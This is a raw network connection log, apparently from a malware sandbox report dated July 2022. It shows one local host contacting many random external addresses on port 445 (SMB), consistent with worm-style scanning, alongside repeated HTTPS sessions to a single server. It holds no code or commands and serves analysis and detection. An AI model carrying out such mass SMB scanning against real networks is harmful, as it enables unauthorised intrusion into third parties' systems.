Jul 21, 2022 04:34:38.832267046 CEST	445	50461	190.98.231.92	192.168.2.6
Jul 21, 2022 04:34:38.832494020 CEST	50461	445	192.168.2.6	190.98.231.92
Jul 21, 2022 04:34:38.832797050 CEST	50461	445	192.168.2.6	190.98.231.92
Jul 21, 2022 04:34:38.833650112 CEST	50463	445	192.168.2.6	190.98.231.1
Jul 21, 2022 04:34:39.062238932 CEST	445	50461	190.98.231.92	192.168.2.6
Jul 21, 2022 04:34:39.062267065 CEST	445	50461	190.98.231.92	192.168.2.6
Jul 21, 2022 04:34:39.063086987 CEST	50464	445	192.168.2.6	97.120.42.59
Jul 21, 2022 04:34:39.063340902 CEST	50466	445	192.168.2.6	211.96.133.131
Jul 21, 2022 04:34:39.063456059 CEST	50467	445	192.168.2.6	135.229.93.21
Jul 21, 2022 04:34:39.063528061 CEST	50469	445	192.168.2.6	120.111.130.37
Jul 21, 2022 04:34:39.063582897 CEST	50470	445	192.168.2.6	136.119.134.249
Jul 21, 2022 04:34:39.063700914 CEST	50471	445	192.168.2.6	168.166.161.90
Jul 21, 2022 04:34:39.063705921 CEST	50472	445	192.168.2.6	125.103.15.166
Jul 21, 2022 04:34:39.063837051 CEST	50473	445	192.168.2.6	88.223.75.153
Jul 21, 2022 04:34:39.063956022 CEST	50474	445	192.168.2.6	220.76.183.245
Jul 21, 2022 04:34:39.063961029 CEST	50465	445	192.168.2.6	218.14.82.17
Jul 21, 2022 04:34:39.382867098 CEST	50475	445	192.168.2.6	4.151.150.254
Jul 21, 2022 04:34:39.617218971 CEST	50476	445	192.168.2.6	139.186.189.245
Jul 21, 2022 04:34:39.728524923 CEST	50477	445	192.168.2.6	193.70.214.117
Jul 21, 2022 04:34:39.728661060 CEST	50478	445	192.168.2.6	123.251.17.191
Jul 21, 2022 04:34:39.728739023 CEST	50479	445	192.168.2.6	191.245.152.241
Jul 21, 2022 04:34:39.728805065 CEST	50480	445	192.168.2.6	29.36.13.69
Jul 21, 2022 04:34:39.728935957 CEST	50481	445	192.168.2.6	211.54.111.181
Jul 21, 2022 04:34:39.728938103 CEST	50482	445	192.168.2.6	18.159.24.93
Jul 21, 2022 04:34:39.729034901 CEST	50483	445	192.168.2.6	90.192.242.112
Jul 21, 2022 04:34:39.944639921 CEST	50485	445	192.168.2.6	190.98.231.2
Jul 21, 2022 04:34:40.188927889 CEST	50486	445	192.168.2.6	11.78.156.85
Jul 21, 2022 04:34:40.189073086 CEST	50487	445	192.168.2.6	129.52.122.30
Jul 21, 2022 04:34:40.189073086 CEST	50489	445	192.168.2.6	171.96.43.252
Jul 21, 2022 04:34:40.189089060 CEST	50488	445	192.168.2.6	179.55.29.146
Jul 21, 2022 04:34:40.189162970 CEST	50490	445	192.168.2.6	68.228.232.133
Jul 21, 2022 04:34:40.189237118 CEST	50491	445	192.168.2.6	121.94.122.204
Jul 21, 2022 04:34:40.189421892 CEST	50492	445	192.168.2.6	128.8.17.214
Jul 21, 2022 04:34:40.189438105 CEST	50493	445	192.168.2.6	71.245.13.164
Jul 21, 2022 04:34:40.189554930 CEST	50494	445	192.168.2.6	85.118.78.170
Jul 21, 2022 04:34:40.189584017 CEST	50495	445	192.168.2.6	64.15.125.45
Jul 21, 2022 04:34:40.189702988 CEST	50496	445	192.168.2.6	42.166.47.227
Jul 21, 2022 04:34:40.275680065 CEST	50497	445	192.168.2.6	200.128.25.225
Jul 21, 2022 04:34:40.507066965 CEST	50498	445	192.168.2.6	173.248.162.59
Jul 21, 2022 04:34:40.741725922 CEST	50499	445	192.168.2.6	10.39.165.183
Jul 21, 2022 04:34:40.852514029 CEST	50500	445	192.168.2.6	54.182.165.81
Jul 21, 2022 04:34:40.852593899 CEST	50501	445	192.168.2.6	191.72.101.30
Jul 21, 2022 04:34:40.852593899 CEST	50502	445	192.168.2.6	22.112.230.109
Jul 21, 2022 04:34:40.852660894 CEST	50503	445	192.168.2.6	67.54.87.180
Jul 21, 2022 04:34:40.852698088 CEST	50504	445	192.168.2.6	143.127.142.177
Jul 21, 2022 04:34:40.852735996 CEST	50505	445	192.168.2.6	215.208.171.14
Jul 21, 2022 04:34:40.852808952 CEST	50506	445	192.168.2.6	65.0.159.51
Jul 21, 2022 04:34:41.011050940 CEST	50507	445	192.168.2.6	155.10.119.133
Jul 21, 2022 04:34:41.023056030 CEST	50508	445	192.168.2.6	190.98.231.3
Jul 21, 2022 04:34:41.304913044 CEST	50509	445	192.168.2.6	179.11.109.114
Jul 21, 2022 04:34:41.305501938 CEST	50510	445	192.168.2.6	72.155.244.40
Jul 21, 2022 04:34:41.306027889 CEST	50511	445	192.168.2.6	208.238.159.166
Jul 21, 2022 04:34:41.306551933 CEST	50512	445	192.168.2.6	183.124.124.114
Jul 21, 2022 04:34:41.309066057 CEST	50513	445	192.168.2.6	193.27.218.19
Jul 21, 2022 04:34:41.309164047 CEST	50514	445	192.168.2.6	167.94.193.57
Jul 21, 2022 04:34:41.309401035 CEST	50515	445	192.168.2.6	121.233.41.186
Jul 21, 2022 04:34:41.309508085 CEST	50516	445	192.168.2.6	16.78.125.149
Jul 21, 2022 04:34:41.309566021 CEST	50517	445	192.168.2.6	76.87.147.26
Jul 21, 2022 04:34:41.309650898 CEST	50518	445	192.168.2.6	72.7.4.174
Jul 21, 2022 04:34:41.309730053 CEST	50519	445	192.168.2.6	172.127.23.180
Jul 21, 2022 04:34:41.397679090 CEST	50520	445	192.168.2.6	134.157.106.146
Jul 21, 2022 04:34:41.616627932 CEST	50521	445	192.168.2.6	142.68.239.254
Jul 21, 2022 04:34:41.851454020 CEST	50522	445	192.168.2.6	215.218.42.120
Jul 21, 2022 04:34:41.981710911 CEST	50523	445	192.168.2.6	141.7.65.213
Jul 21, 2022 04:34:41.982428074 CEST	50524	445	192.168.2.6	166.250.195.34
Jul 21, 2022 04:34:41.983161926 CEST	50525	445	192.168.2.6	82.88.17.166
Jul 21, 2022 04:34:41.983896971 CEST	50526	445	192.168.2.6	108.55.24.19
Jul 21, 2022 04:34:41.984608889 CEST	50527	445	192.168.2.6	57.0.16.126
Jul 21, 2022 04:34:41.985286951 CEST	50528	445	192.168.2.6	53.237.188.69
Jul 21, 2022 04:34:41.986032963 CEST	50529	445	192.168.2.6	106.177.46.40
Jul 21, 2022 04:34:42.100991011 CEST	50530	445	192.168.2.6	190.98.231.4
Jul 21, 2022 04:34:42.154061079 CEST	50531	445	192.168.2.6	209.72.197.245
Jul 21, 2022 04:34:42.291511059 CEST	50532	445	192.168.2.6	56.197.141.209
Jul 21, 2022 04:34:42.413976908 CEST	50533	445	192.168.2.6	42.152.61.218
Jul 21, 2022 04:34:42.414625883 CEST	50534	445	192.168.2.6	174.225.207.104
Jul 21, 2022 04:34:42.415321112 CEST	50535	445	192.168.2.6	179.215.165.141
Jul 21, 2022 04:34:42.416062117 CEST	50536	445	192.168.2.6	168.75.148.202
Jul 21, 2022 04:34:42.416981936 CEST	50537	445	192.168.2.6	32.177.188.34
Jul 21, 2022 04:34:42.417738914 CEST	50538	445	192.168.2.6	36.229.196.50
Jul 21, 2022 04:34:42.418411016 CEST	50539	445	192.168.2.6	81.133.76.237
Jul 21, 2022 04:34:42.419074059 CEST	50540	445	192.168.2.6	165.250.206.197
Jul 21, 2022 04:34:42.419748068 CEST	50541	445	192.168.2.6	186.184.3.151
Jul 21, 2022 04:34:42.420388937 CEST	50542	445	192.168.2.6	211.239.40.126
Jul 21, 2022 04:34:42.522921085 CEST	50544	445	192.168.2.6	107.243.233.42
Jul 21, 2022 04:34:42.675772905 CEST	445	50538	36.229.196.50	192.168.2.6
Jul 21, 2022 04:34:42.741578102 CEST	50545	445	192.168.2.6	31.155.176.224
Jul 21, 2022 04:34:42.849121094 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.849153996 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.849245071 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.850596905 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.850624084 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.850639105 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.850683928 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.850703955 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.850780964 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.916147947 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.916194916 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.916287899 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.930413008 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.930444002 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.930694103 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.930723906 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.930915117 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.930957079 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.931178093 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.931200981 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.976033926 CEST	50550	445	192.168.2.6	213.62.192.176
Jul 21, 2022 04:34:42.998707056 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.998897076 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:42.998909950 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:42.998984098 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.000579119 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:43.000709057 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.003396034 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:43.003592014 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.051337004 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.051369905 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:43.051474094 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.071651936 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.071681023 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:43.114214897 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:43.114392996 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:43.141717911 CEST	50552	445	192.168.2.6	53.132.55.118
Jul 21, 2022 04:34:43.141921043 CEST	50553	445	192.168.2.6	223.94.35.154
Jul 21, 2022 04:34:43.142128944 CEST	50554	445	192.168.2.6	92.238.73.138
Jul 21, 2022 04:34:43.142174959 CEST	50555	445	192.168.2.6	36.228.247.174
Jul 21, 2022 04:34:43.142304897 CEST	50556	445	192.168.2.6	186.231.199.37
Jul 21, 2022 04:34:43.142363071 CEST	50557	445	192.168.2.6	206.189.76.58
Jul 21, 2022 04:34:43.142429113 CEST	50558	445	192.168.2.6	207.125.32.208
Jul 21, 2022 04:34:43.164150000 CEST	50559	445	192.168.2.6	190.98.231.5
Jul 21, 2022 04:34:43.225424051 CEST	50538	445	192.168.2.6	36.229.196.50
Jul 21, 2022 04:34:43.237103939 CEST	50560	445	192.168.2.6	36.142.197.178
Jul 21, 2022 04:34:43.413501978 CEST	50561	445	192.168.2.6	220.95.122.105
Jul 21, 2022 04:34:43.486077070 CEST	445	50538	36.229.196.50	192.168.2.6
Jul 21, 2022 04:34:43.539235115 CEST	50562	445	192.168.2.6	136.64.103.62
Jul 21, 2022 04:34:43.539979935 CEST	50563	445	192.168.2.6	24.230.74.23
Jul 21, 2022 04:34:43.540724039 CEST	50564	445	192.168.2.6	221.42.196.194
Jul 21, 2022 04:34:43.541423082 CEST	50565	445	192.168.2.6	182.95.172.249
Jul 21, 2022 04:34:43.542162895 CEST	50566	445	192.168.2.6	60.150.167.61
Jul 21, 2022 04:34:43.542905092 CEST	50567	445	192.168.2.6	49.5.148.18
Jul 21, 2022 04:34:43.554780960 CEST	50568	445	192.168.2.6	153.144.145.149
Jul 21, 2022 04:34:43.555553913 CEST	50569	445	192.168.2.6	162.87.59.36
Jul 21, 2022 04:34:43.556273937 CEST	50570	445	192.168.2.6	11.146.200.246
Jul 21, 2022 04:34:43.556967974 CEST	50571	445	192.168.2.6	121.176.202.76
Jul 21, 2022 04:34:43.557692051 CEST	50572	445	192.168.2.6	220.230.92.63
Jul 21, 2022 04:34:43.648035049 CEST	50573	445	192.168.2.6	83.11.51.42
Jul 21, 2022 04:34:43.844453096 CEST	445	50566	60.150.167.61	192.168.2.6
Jul 21, 2022 04:34:43.859592915 CEST	445	50568	153.144.145.149	192.168.2.6
Jul 21, 2022 04:34:43.866944075 CEST	50574	445	192.168.2.6	124.246.92.108
Jul 21, 2022 04:34:44.101336002 CEST	50575	445	192.168.2.6	38.72.216.177
Jul 21, 2022 04:34:44.240263939 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.240299940 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.240534067 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.240545988 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.240636110 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.240669966 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.240690947 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.241013050 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.241024971 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.241029024 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.241276026 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.242832899 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.242873907 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.243309021 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.243357897 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.243379116 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.250998974 CEST	50576	445	192.168.2.6	190.98.231.6
Jul 21, 2022 04:34:44.251580954 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.251610994 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.251873970 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.251889944 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.252441883 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.252547026 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.253987074 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.254017115 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.254352093 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.254367113 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.254734993 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.257014036 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.259229898 CEST	50577	445	192.168.2.6	123.229.181.31
Jul 21, 2022 04:34:44.259919882 CEST	50578	445	192.168.2.6	53.63.241.15
Jul 21, 2022 04:34:44.260516882 CEST	50579	445	192.168.2.6	185.58.163.37
Jul 21, 2022 04:34:44.262172937 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262209892 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262229919 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262248039 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262289047 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262317896 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262320995 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262331009 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262434959 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262470007 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262536049 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262624025 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262770891 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262798071 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262835979 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262861013 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262867928 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262872934 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262908936 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262908936 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262960911 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.262967110 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.262981892 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.263009071 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.263051033 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.263056993 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.263087034 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.263113976 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.263122082 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.263144016 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.263163090 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.263200045 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.264261007 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.264300108 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.264363050 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.264377117 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.264409065 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.264427900 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.266752005 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.266796112 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.266851902 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.266872883 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.266907930 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.266926050 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.267498970 CEST	50580	445	192.168.2.6	26.61.15.148
Jul 21, 2022 04:34:44.267599106 CEST	50581	445	192.168.2.6	154.70.112.53
Jul 21, 2022 04:34:44.267767906 CEST	50582	445	192.168.2.6	79.154.32.235
Jul 21, 2022 04:34:44.267857075 CEST	50583	445	192.168.2.6	143.118.244.19
Jul 21, 2022 04:34:44.268135071 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268176079 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268275023 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.268292904 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268332958 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.268353939 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.268361092 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268378019 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268424034 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.268855095 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268887997 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268950939 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.268969059 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.268985987 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.269017935 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.272703886 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.272742987 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.272769928 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.272908926 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.272927046 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.272991896 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.278878927 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.278920889 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.278992891 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279089928 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279100895 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279108047 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279134989 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279261112 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279272079 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279299974 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279315948 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279668093 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279722929 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279789925 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279819012 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279839993 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.279886007 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279913902 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279934883 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.279956102 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280041933 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280061960 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280080080 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280086994 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280102968 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280313015 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280322075 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280334949 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280401945 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280644894 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280757904 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280797005 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280833960 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280898094 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280911922 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280940056 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280958891 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.280977011 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.280999899 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.281064987 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.281122923 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.281126022 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.281131983 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.281137943 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.281193018 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282160044 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282197952 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282288074 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282310009 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282322884 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282452106 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282453060 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282490969 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282541990 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282550097 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.282630920 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.282634020 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.283577919 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.283617973 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.283679008 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.283698082 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.283730984 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.283752918 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.284195900 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.284313917 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286082029 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286123037 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286216974 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286237955 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286271095 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286271095 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286292076 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286312103 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286371946 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286390066 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286403894 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286433935 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.286886930 CEST	443	50547	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.286993980 CEST	50547	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.287780046 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.287812948 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.287930965 CEST	50549	443	192.168.2.6	80.67.82.211
